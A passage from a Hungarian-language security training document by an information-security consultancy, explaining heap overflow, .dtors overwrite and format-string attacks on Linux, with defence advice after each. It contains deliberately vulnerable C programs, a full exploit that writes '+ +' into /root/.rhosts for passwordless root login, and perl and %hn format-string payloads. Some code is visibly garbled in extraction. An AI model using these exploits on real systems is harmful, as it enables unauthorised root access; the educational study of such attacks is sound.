külső programból idegen cím bejuttatását. A legegyszerűbb védekezési módszer azonban mindenképpen a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb 12 Immunix StackGuard: http://www.cse.ogi.edu/disc/projects/immunix/stackguard/ SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 21. oldal, összesen: 40
6.2. Heap Overflow 6.2.1. A Heap felülírásának módja A Heap memóriaterületen a dinamikusan lefoglalt memóriaterületeken tárolt adatok helyezkednek el. Ezen a területen helyezkedik el tehát minden olyan változó, lista, láncolt lista, amik mérete, tartalmaz, jelentése dinamikusan változhat. Nem rendelkezik tehát olyan védelemmel amely a változók tartalmát megvédené egy másik változótól. Lássunk erre egy példát; #include <stdio.h> #include <stdlib.h> Kód #define SIZE 16 int main(int argc, char *argv[]) { char *buffer1; //dinamikusan foglalt terulet -> HEAP char *buffer2; u_long diff; // A ket cim kozotti kulonbseg buffer1 = (char *)malloc(size); buffer2 = (char *)malloc(size); diff = (u_long)buffer2 - (u_long)buffer1; printf("buffer1 cime: %p\nbuffer2 cime: %p\n" "A ketto kozotti kulonbseg: 0x%x\n", buffer1,buffer2,diff); // Toltsuk fel a buffert 'A' karakterrel, es zarjuk le memset(buffer2,'a',size-1); buffer2[size-1] = '\0'; printf("az overflow elott a buffer2: %s\n",buffer2); } // Az overflow memset(buffer1,'b',(u_int)(diff+8)); printf("az overflow utan a buffer2: %s\n",buffer2); return 0; SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 22. oldal, összesen: 40
A buffer1 és a buffer2 dinamikusan foglalt 16 bájt hosszú, a Heap memóriaterületen található változók. Tudjuk, hogy a buffer2 területet később foglaltuk le, tehát hátrébb helyezkedik el a memóriában. A program futás közben kiszámolja a két terület közötti különbséget, majd a buffer1 memóriaterületre írva megváltoztatja a buffer2 memóriaterület értékét is. Minta buffer1 cime: 0x8049768 buffer2 cime: 0x8049780 A ketto kozotti kulonbseg: 0x18 Az overflow elott a buffer2: AAAAAAAAAAAAAAA Az overflow utan a buffer2: BBBBBBBBAAAAAAA 6.2.2. Példa program Tételezzünk fel egy olyan helyzetet, hogy egy program két típusú kihasználható hibát tartalmaz; egy stack típusú, valamint egy heap típusú overflow lehetőséget. Ebből a stack overflow kihasználhatatlan, mert a rendszer védve van az ilyen típusú támadással szemben, a stack területen nem futhat kód. Ennek megfelelően nem is tudunk olyan helyzetet teremteni, hogy a programot olyan mértékű hibás működésre bírjuk, amellyel a számunkra közvetlen hozzáférést biztosítson a rendszerhez. Pontosan egy ilyen hibát tartalmaz a példaprogramunk: egy előre meghatározott fájlba beleírja a konzolról kapott karaktersort. #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <errno.h> #include <unistd.h> Kód #define BUFFER 16 int main(int argc, char *argv[]) { static char buf[buffer], *tmpfile; FILE *fp; tmpfile = "/tmp/.tmpfile"; printf("kerek egy stringet:"); gets(buf); if( (fp = fopen(tmpfile,"w")) == NULL) { printf("error opening file %s\n",tmpfile); exit(-1); } fputs(buf,fp); fclose(fp); } return 0; SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 23. oldal, összesen: 40
6.2.3. A hiba kihasználása Vizsgáljuk meg a program működését! Látjuk, hogy van egy Stack overflow lehetőség a gets utasításnál, hiszen egy 16 bájt hosszú memóriaterületre bármely méretű adatot be tudunk juttatni. Ellenben az élődefiníciók során meghatároztuk, hogy a Stack overflow nem kivitelezhető. Látjuk, hogy a program a /tmp/.tmpfile nevű fájlba írja az általunk bevitt karaktersort. Látjuk továbbá, hogy mind a fájl nevét, mind az általunk bevitt karaktersort tartalmazó változó ugyanazon memóriaterületen található. Minta (gdb) r AAAAAAAAAA Starting program sample AAAAAAAAAA (gdb) p &buf $1 = (char (*)[16]) 0x80497c0 (gdb) p &tmpfile $2 = (char **) 0x80497d0 (gdb) p (u_long)&tmpfile - (u_long)&buf $3 = 16 Kerek egy stringet:aaaaaaaaaaaaaaaaaaaa (gdb) p tmpfile $4 = 0x41414141 <Address 0x41414141 out of bounds> A tesztelések során megállapítottuk, hogy 16 bájt hosszúságú karaktersor bevitelével sikeresen felülírtuk a megnyitandó fájl nevét tartalmazó memóriaterületre mutató területet sikeresen felülírtuk. Feltételezzük tehát, hogy egy paraméterként átadott (argv[1]) memóriaterület címére sikeresen át tudjuk írni a megnyitandó fájl nevére mutató memóriaterülete. Nehézséget az okoz csupán, hogy a fájl tartalma az lesz, amivel felülírjuk a megfelelő területeket. Így nagyon körültekintően kell megformáznunk a karaktersorozatokat. Jó ötletnek tűnhet, ha a kiszemelt cél fájl a /root/.rhosts nevű fájl, aminek + + tartalmával számunkra megfelelővé alakítjuk át a rendszer hozzáférési modelljét; bármely távoli gépről jelszó használata nélkül jelentkezhetünk be rendszergazdai jogosultságokkal. Nehezíti a feladatot, hogy a hiba kihasználására a Heap memóriaterületet kell felülírni, amelynek címei változhatnak. Tudjuk, hogy a címek a Stack szegmensen találhatóak, és hogy a Stack szegmens címe mindig az indító program után található. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 24. oldal, összesen: 40
Tehát, ha a hibás programot indító (jelen esetben maga az exploit) Stack szegmensének a címét meg tudjuk szerezni, az attól való eltolással (OFFSET) meg tudjuk találni a megfelelő felülírandó területet. Az exploit kódban használt változók; OFFSET - Az eltolási érték (Ennyi bájt szükséges ahhoz, hogy felülírjuk a megfelelő címeket). VULNPROG - A támadott program. VULNFILE - A támadott programban felülírni kívánt fájl neve. STRING - A támadott fájl kívánt tartalma. ADDRLEN - A címek tárolására használt memória mérete (4 bájt). Mainbuf - A közvetlenül elindítható formázott karaktersorozat. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 25. oldal, összesen: 40
#include <stdio.h> #include <stdlib.h> #include <unistd.h> Kód #define STRING "+ +\t # " #define VULNFILE "/root/.rhosts" #define OFFSET 16 #define ADDRLEN 4 #define VULNPROG "./heap_vuln" u_long getesp() { asm ("mov %esp,%eax"); // return ESP } int main(int argc, char *argv[]) { u_long addr; char buffer[offset+addrlen+1]; int i; char *mainbuf; if(argc!= 2) { printf("usage: %s <OFFSET>\n",argv[0]); exit(-1); } addr = getesp() + atoi(argv[1]); printf("using Address %p\n",addr); memset(buffer,'a',offset+addrlen); memcpy(buffer,string,strlen(string)); *(long *)&buffer[offset] = addr; buffer[offset+addrlen] = '\0'; mainbuf = (char *)malloc( strlen(buffer) + strlen(vulnprog) + strlen(vulnfile) + 13); } sprintf(mainbuf,"echo '%s' %s %s",buffer,vulnprog,vulnfile); system(mainbuf); free(mainbuf); return 0; Mivel a támadott program nem tartalmaz olyan sikeres támadás esetén megjelenítendő karaktersort, amellyel automatizálni lehetne a helyes OFFSET érték kitalálását, nekünk kell ezt megtenni manuálisan. $./exploit 460 Using Address 0xbffffc58 Kerek egy stringet: Error opening file ot/.rhosts $./heap_expl 457 Kerek egy stringet: $ cat /root/.rhosts + + # AAAAAAAAA $ Minta SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 26. oldal, összesen: 40
6.2.4. Védekezés Természetesen a Heap típusú overflow ellen is dolgoztak ki védelmez, amelyet a HeapGuard nevű termék használatával aktiválhatunk. Ez az eljárás sem vezet ugyanakkor teljes védelemhez a hibatípus ellen. Érdekes módszer, hogy megnehezítjük a támadó dolgát. Ezt úgy érhetjük el, hogy egy véletlen nagyságú memóriaterületet minden esetben lefoglalunk a program indulásakor így majdnem lehetetlenné téve a helyes OFFSET érték kitalálását. A biztos védekezést egyedül a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb 6.3..dtors Overflow Amint azt a fentiekben láthattuk, minden ELF típusú program rendelkezik több szekcióval, amiknek meghatározott feladatai vannak. A tervezés során a fejlesztők megalkottak két olyan területet, amelyek biztosítják, hogy az operációs rendszer rendesen felépíti a futtató környezetet, és le tudja kezelni a visszatérési értékeket, és így egy hibás program működés nem okozhatja az egész rendszer halálát. Ez a két szekció a.ctors és a.dtors memóriaterület. A két memóriaterület minden esetben lefut, az első a konstruktor, míg a második a destruktor szerepét tölti be. 6.3.1. A.dtors felülírása A hibák kihasználása nem egyszerű feladat. A memóriaterület működésére a következő példaprogram álljon itt szemléltetésül; #include <stdio.h> #include <stdlib.h> Kód static void start(void) attribute ((constructor)); static void stop(void) attribute ((destructor)); int main(int argc, char *argv[]) { printf("start == %p\n", start); printf("stop == %p\n", stop); } exit(exit_success); void start(void) { printf("hello world!\n"); } void stop(void){ printf("goodbye world!\n"); } SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 27. oldal, összesen: 40
A program statikusan definiál két eljárást a konstruktort és a destruktort majd a fő programciklusban kiírja a két függvény memóriacímét. Látni fogjuk, hogy a start() függvény a program elején, míg a stop() függvény a program végén le fog futni: hello world! start == 0x8048480 stop == 0x80484a0 goodbye world! Minta Ha most a lefordított linkelt programunk fejlécében az objdump program segítségével megnézzük, hogy a.ctors és.dtors területeknek mi a címe, látni fogjuk, hogy azok megegyeznek a program által kiírtakkal: $ objdump -s -j.dtors teszt teszt: file format elf32-i386 Minta Contents of section.dtors: 8049574 ffffffff a0840408 00000000... Megállapíthatjuk tehát, hogy mind a.dtors, mind a.ctors területek felülírhatóak. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 28. oldal, összesen: 40
6.3.2. Példa program A hiba alapja egy egyszerű Stack Overflow is lehet. Feltételezve olyan esetet, amikor a futó programba ugyan lehetséges bejuttatni egy kód szekvenciát (Shell kódot) de annak a klasszikus Stack Overflow technológiával képtelenség átadni a vezérlést. Ilyen eset lehet akkor, amikor a binárist FPC használat nélkül fordították, és a függvények visszatérési címe nem hozzáférhető, ellenben a program kilépésre kényszeríthető. #include <stdio.h> #include <stdlib.h> #include <sys/types.h> Kód static void sample(void); int main(int argc, char *argv[]) { static u_char buf[] = "12345"; } if (argc < 2) exit(exit_failure); strcpy(buf, argv[1]); exit(exit_success); void sample(void){ printf("got the.dtors!\n"); } A fenti program működése egyszerű. Egy statikusan definiált buf változóba másolja kontroll nélkül az első parancssori paramétert, majd kilép. Érdekesség, hogy a kód tartalmaz egy sample() függvényt, amely soha nem hívódik meg. 6.3.3. A hiba kihasználása Vizsgáljuk meg a program működését kicsit jobban. Jelen esetben a feladatunk annyi, hogy a programot illegális működésre bírjuk. Ezt úgy fogjuk elérni, hogy meghívatjuk vele a sample() függvényt, amely alap esetben soha nem futna le. Ehhez tudnunk kell, hogy hol helyezkedik el a.dtors szekció, mi a hívni kívánt függvény címe, és hogyan tudjuk beinjektálni a megfelelő paramétereket a futó kódba. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 29. oldal, összesen: 40
Minta $ objdump --syms sample egrep 'text.*sample' 080484e8 l F.text 00000018 sample $ gdb sample (gdb) b main Breakpoint 1 at 0x80484a6 (gdb) r aaaaaaaaaa Starting program: sample aaaaaaaaaa Breakpoint 1, main (argc=2, argv=0xbffff8a4) at sample.c:10 (gdb) x argv[1] 0xbffffa22: 0x61616161 (gdb) x buf 0x8049578 <force_to_data>: 0x34333231 (gdb) maintenance info sections [ ] 0x08049568->0x08049580 at 0x00000568:.data ALLOC LOAD DATA 0x08049580->0x080495e8 at 0x00000580:.eh_frame ALLOC LOAD DATA 0x080495e8->0x080496b0 at 0x000005e8:.dynamic ALLOC LOAD DATA 0x080496b0->0x080496b8 at 0x000006b0:.ctors ALLOC LOAD DATA 0x080496b8->0x080496c0 at 0x000006b8:.dtors ALLOC LOAD DATA 0x080496c0->0x080496e8 at 0x000006c0:.got ALLOC LOAD DATA [ ] A fentiek alapján könnyen beláthatjuk, hogy létezik akkora számú karaktersorozat, amely a.dtors szekciót felülírhatja. Jelen esetben tudjuk, hogy a kezdő memória cím 0x8049578 amelyből nekünk a 0x80496b8 címig kell túlfuttatnunk az írást. A két hexadecimális szám között 320 a különbség. Tudjuk, hogy a.dtors szekció felépítése áll egy 4 byte-os 0xffffffff fejlécből, és egy 0x00000000 láblécből tehát, hogy 328 karakter beillesztésével felülírjuk a.dtors szekció fejlécét és első címét, amelynek utolsó négy karakterére beillesztve a kívánt címet az azon a címen található eljárás le fog futni. Feltételezzük, hogy a program hibával fog leállni, hiszen a szekciót lezáró 0x00000000 szekvenciát nem tudjuk beilleszteni, tehát a rendszer végig fogja hívni az összes címen található kódrészletet egészen addig, amíg az hibát nem generál, vagy a szekció végére nem ért. Minta $./sample `perl -e 'print "A"x324; print "\xe8\x84\x04\x08";'`; Got the.dtors! Segmentation fault (core dumped) $ SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 30. oldal, összesen: 40
Amint látjuk, sikeresen felülírtuk a.dtors szekciót. Vizsgáljuk meg ezt közelebbről; Minta $ gdb sample core Program terminated with signal 11, Segmentation fault. #0 0x4000a90b in?? () (gdb) maintenance info sections [ ] 0x08049568->0x08049580 at 0x00000568:.data ALLOC LOAD DATA 0x08049580->0x080495e8 at 0x00000580:.eh_frame ALLOC LOAD DATA 0x080495e8->0x080496b0 at 0x000005e8:.dynamic ALLOC LOAD DATA 0x080496b0->0x080496b8 at 0x000006b0:.ctors ALLOC LOAD DATA 0x080496b8->0x080496c0 at 0x000006b8:.dtors ALLOC LOAD DATA 0x080496c0->0x080496e8 at 0x000006c0:.got ALLOC LOAD DATA [ ] (gdb) x/x 0x080496b0 0x80496b0 < CTOR_LIST >:0x41414141 (gdb) x/4x 0x080496b8 0x80496b8 < DTOR_LIST >:0x41414141 0x080484e8 0x08049500 0x400153d8 Megállapíthatjuk tehát, hogy a demonstráció sikeres volt. Láthatjuk, hogy a shell kódok beinjektálásának több módja is létezik, csak a megfelelő eseményt kell tudni kiválasztani. 6.3.4. Védekezés A hiba ellen kidolgozott védekezési eljárás nem létezik, ugyanakkor mivel a támadás minden esetben egy másik típusú overflow hibára alapul, eredményeket érhetünk el az azok elleni védekezéssel. Nem jelent biztonságot ugyanakkor ez a módszer, hiszen mint láttuk nem feltétlenül szükséges más védekezési módok által felfedezhető kivételt generálni. A biztos védekezést egyedül a nem kontrollált méretű memóriamozgató utasítások elkerülése, úgy mint strcpy, strcat, sprintf, stb SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 31. oldal, összesen: 40
6.4. Format String overflow 6.4.1. Példa program A format string alapú overflow hibák kihasználása nem tekint vissza nagy múltra, mivel a hibát csak nemrégen fedezték fel. Éppen ezért jelenthet hatalmas veszélyt a programozók abban a tudatban éltek, hogy az általuk követett módszer betartja a biztonságos programozás követelményeit. A következő program nem is tartalmaz olyan hibát, amit az előzőekben taglaltunk volna. Rendesen méretkorláttal van kezelve a memóriamásolás, meggátolva a támadót abban, hogy Stack overflow-t kövessen el. Ugyanakkor egy formázott kiíratás során kontrollálható karaktersorozatot írat ki a képernyőre. #include <stdio.h> Kód int main(int argc, char **argv) { char buf[100]; if(argc!= 2) { printf("usage:\n%s <param>\n",argv[0]); return -1; } stnrcpy(buf,argv[1],100); printf("got: "); printf(buf); printf("\n"); } return 0; 6.4.2. A hiba kihasználása Ha megvizsgáljuk a programot futás közben, akkor megállapíthatjuk, hogy az eddig megismert módszerekkel nem tudjuk hibás működésre bírni. Csak annyit tudunk kideríteni, hogy mi a buf nevű változó memóriacíme, és hogy ezt a változót kontrollálni tudjuk. Ide tudnánk tehát egy shell kódot helyezni. Megvizsgálhatjuk, hogy merre található a Stack területen az a cím, ahová a program kilépéskor vissza fog térni, de jelen pillanatban ezt nem tudjuk felülírni. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 32. oldal, összesen: 40
Minta (gdb) x buf 0xbffff658: 0x08049698 (gdb) info registers ebp ebp 0xbffff6bc 0xbffff6bc (gdb) x/4x 0xbffff6bc 0xbffff6bc: 0xbffff6f8 0x4004065f 0x00000002 0xbffff724 (gdb) x 0x4004065f 0x4004065f < libc_start_main+187>: 0xf9b7e850 A vizsgált program ugyanakkor formázó string nélkül írja ki a kapott adatot, és az ilyen kiíratás egy olyan lehetőséget tár fel a támadónak, amelynek segítségével egy adott memóriacímet tetszőleges értékkel tölthet fel. Könnyen belátható, hogy a már megismert.dtors, vagy akár a Stack-en elhelyezkedő visszatérési érték felülírásával hibás működésre kényszeríthető a program. Nézzük meg ezt a lehetőséget közelebbről; Tudjuk, hogy a formázott kiírások a következőképpen néznek ki a memóriában: printf( Ez egy szám: %d és ez a címe: %08x\n,i,&i); Stack teteje <&i> <i> fmt Stack alja Tudjuk, hogy a formátum feldolgozása úgy történik, hogy az eljárás byte-onként ellenőrzi a formátumot, és amennyiben az nem % jel, egyszerűen kiírja a megfelelő helyre. Ha találkozik a % jellel, akkor azt a formázó karaktert megpróbálja feldolgozni. 13 Minden más esetben a formátum feldolgozó a Stacken lévő mutatóhoz fog nyúlni. Azt már láthatjuk, hogy sok érdekességet megtudhatunk így a futó program környezetéről; A Stack memóriaterületet mindenképpen, sőt, bármely területet a memóriában! Tudjuk, hogy a formátum, ami feldolgozódik, a Stack alján foglal helyet, és minden kiírásnál egy byte-ot közeledünk a stack tetejéhez. Tehát ezt 13 Speciális eset a %% formátum, ami szintén feldolgozásra kerül, de jelentése a kimeneten egy sima % jel lesz, és a feldolgozó nem nyúl a paraméterlistához. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 33. oldal, összesen: 40
a pointert a kívánt címre kell állítani valahogyan. Növeljük tehát a mutatót értelmetlen kiírásokkal, mint például a %08x. A vizsgált program kiírja, hogy mit kapott paraméternek egy Got üzenet kíséretében. Ez az üzenet a memóriában van, jelen esetben a 0x08048567 címen; Minta $./sample %08x.%08x.%08x.%08x Got: bffff8bc.00000063.00000001.00000000 $./sample `perl -e 'print "\x67\x85\x04\x08_%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x %s "'` Got: g_bffff89f.00000063.00000001.00000000.4002d700.4011f71d.401401f0.4001532c Got: Joggal merül fel a kérdés; Ha olvasni tudjuk a memóriát, vajon tudjuk írni is bármely területét? Nézzük meg! Az írás lehetőségéhez meg kell értenünk pár dolgot; a formázott kiíratás során láttuk, hogy a formázó karaktersor a Stack alján helyezkedik el, és a Stack teteje felé vannak a formátumok feldolgozásához szükséges változók. A feldolgozás során a formátumoknak megfelelően visszanyúl a feldolgozó folyamat a megfelelő értékekért, hogy azokat behelyettesítse a megfelelő helyre. Fontos, hogy megértsük a %n formázó karakter működését. Ezzel a formázó utasítással megvizsgálhatjuk, hogy adott ponton hány byte mennyiségű információt írtunk ki. Ezt az információt a paraméterben megadott címre fogja a folyamat visszaírni. #include <stdio.h> Kód int main(int argc, char *argv[]) { int len = 0; printf("ez 9 byte%hn\n",&len); printf("azaz: %d byte\n",len); } return 0; A program futtatása során láthatjuk, hogy a %n formázókarakter tökéletesen működött: $./teszt Ez 9 byte Azaz: 9 byte $ Minta SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 34. oldal, összesen: 40
A teljes megértéshez szükség van még egy információra; a %hn formázó karakter 16 bites címtartománnyal dolgozik, maximális értéke 65536, tehát túlcsordulhat. Ezen információk birtokában neki is állhatunk kidolgozni a megfelelő formátumot; tudnunk kell, hogy hány bájtot kell a Stack területen tolnunk a megfelelő cím eléréséhez, valamint a megfelelő beillesztendő érték kiszámolásához ismernünk kell az addig kiírt bájtok számát. Az egyszerűség kedvéért a beillesztendő érték legyen négy darab A betű, amelynek hexadecimális kódja 0x41414141, valamint írjuk felül a vizsgált programban az eltárolt visszatérési címet, amely a 0xbffff6c0 címen található. Mivel a címekre beírandó értéket is fel kell dolgoztatni a formátum feldolgozása során, meg kell adnunk egy-egy 4 bájtos változót. Ennek az értéke jelentéktelen, mi a CCCC (0x43434343) karaktersort fogjuk használni az egyszerűbb megkülönböztethetőség okán. Keressük meg, hogy mennyit kell csúsztatnunk a Stack mutatón, hogy pontosan meglegyenek a kívánt címek: Minta $./sample `perl -e 'print "CCCC\xc0\xf6\xff\xbfCCCC\xc2\xf6\xff\xbf\ %08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x%08x";'` Got: CCCCŔö żccccâö żbffff6580000012b400153d8400159e404d6dad34003783abffff730400081bc34333 2314003003543434343bffff6c043434343bffff6c2 $ A tesztelés során láttuk, hogy 14 darab %08x formázó utasítás segítségével megvan minden szükséges cím. Ebből négy jelenti a beillesztendő értéket, és a beillesztő %hn formázó utasítást. Mivel egy %08x utasítás 4 bájtot csúsztat a Stack-en, tudjuk, hogy 40 byte az OFFSET értéke. Látjuk, hogy 16 byte a feltöltő karaktersorozat a megadott címekkel együtt, valamint hogy a 10 %08x utasítás 40 bájtot foglal, tehát amikor eljutunk a kívánt formázó utasításokig, már 96 byte (40+16+40) már kiírásra került. A beillesztendő érték felső 16 bitje 0x4141. Ez a szám decimálisan 16705, amelyből a 96-ot levonva 16609-et kapunk. Ennyi bájtot kell tehát kiírnunk felhasználva a CCCC értékét ahhoz, hogy az első %hn formázó utasítás a megadott 2 bájtos címre a kívánt 0x4141 értéket írja. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 35. oldal, összesen: 40